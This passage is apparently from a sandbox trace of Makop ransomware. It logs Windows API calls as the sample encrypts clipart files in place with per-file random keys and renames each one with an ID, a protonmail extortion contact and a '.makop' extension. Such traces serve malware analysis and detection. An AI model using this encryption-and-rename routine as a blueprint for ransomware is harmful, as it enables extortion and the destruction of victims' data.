pbBuffer=0x48bdf90) returned 1 [0111.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.151] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.151] GetProcessHeap () returned 0x48a0000 [0111.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.151] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.151] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.151] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.152] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.152] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.153] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2708, lpOverlapped=0x0) returned 1 [0111.154] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2710, dwBufLen=0x2710 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2710) returned 1 [0111.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2710, lpOverlapped=0x0) returned 1 [0111.155] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x27e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.155] SetEndOfFile (hFile=0xf0) returned 1 [0111.162] GetProcessHeap () returned 0x48a0000 [0111.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.162] GetProcessHeap () returned 0x48a0000 [0111.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.162] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.165] CloseHandle (hObject=0xf0) returned 1 [0111.165] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0111.165] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0111.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.166] GetProcessHeap () returned 0x48a0000 [0111.166] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.166] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.167] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.167] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.167] GetProcessHeap () returned 0x48a0000 [0111.167] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.167] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.172] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.172] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.172] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5130, lpOverlapped=0x0) returned 1 [0111.174] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5130, dwBufLen=0x5130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5130) returned 1 [0111.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.175] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5130, lpOverlapped=0x0) returned 1 [0111.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.176] SetEndOfFile (hFile=0xf0) returned 1 [0111.183] GetProcessHeap () returned 0x48a0000 [0111.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.183] GetProcessHeap () returned 0x48a0000 [0111.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.183] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.185] CloseHandle (hObject=0xf0) returned 1 [0111.185] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0111.185] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0111.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.186] GetProcessHeap () returned 0x48a0000 [0111.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.186] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.190] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.190] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.190] GetProcessHeap () returned 0x48a0000 [0111.190] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.190] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.190] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.190] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.191] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.191] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.192] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.192] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.192] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x600c, lpOverlapped=0x0) returned 1 [0111.194] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6010, dwBufLen=0x6010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6010) returned 1 [0111.194] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6010, lpOverlapped=0x0) returned 1 [0111.195] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.195] SetEndOfFile (hFile=0xf0) returned 1 [0111.202] GetProcessHeap () returned 0x48a0000 [0111.202] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.203] GetProcessHeap () returned 0x48a0000 [0111.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.203] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.205] CloseHandle (hObject=0xf0) returned 1 [0111.205] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0111.205] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0111.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.206] GetProcessHeap () returned 0x48a0000 [0111.206] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.206] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0111.211] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.211] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.211] GetProcessHeap () returned 0x48a0000 [0111.211] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.211] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.211] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.211] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.211] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.212] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.212] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.212] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.212] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.212] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.212] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.213] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b2, lpOverlapped=0x0) returned 1 [0111.213] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0111.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.213] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0111.213] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.214] SetEndOfFile (hFile=0xf0) returned 1 [0111.220] GetProcessHeap () returned 0x48a0000 [0111.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.220] GetProcessHeap () returned 0x48a0000 [0111.221] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.221] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.223] CloseHandle (hObject=0xf0) returned 1 [0111.223] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0111.223] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0111.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 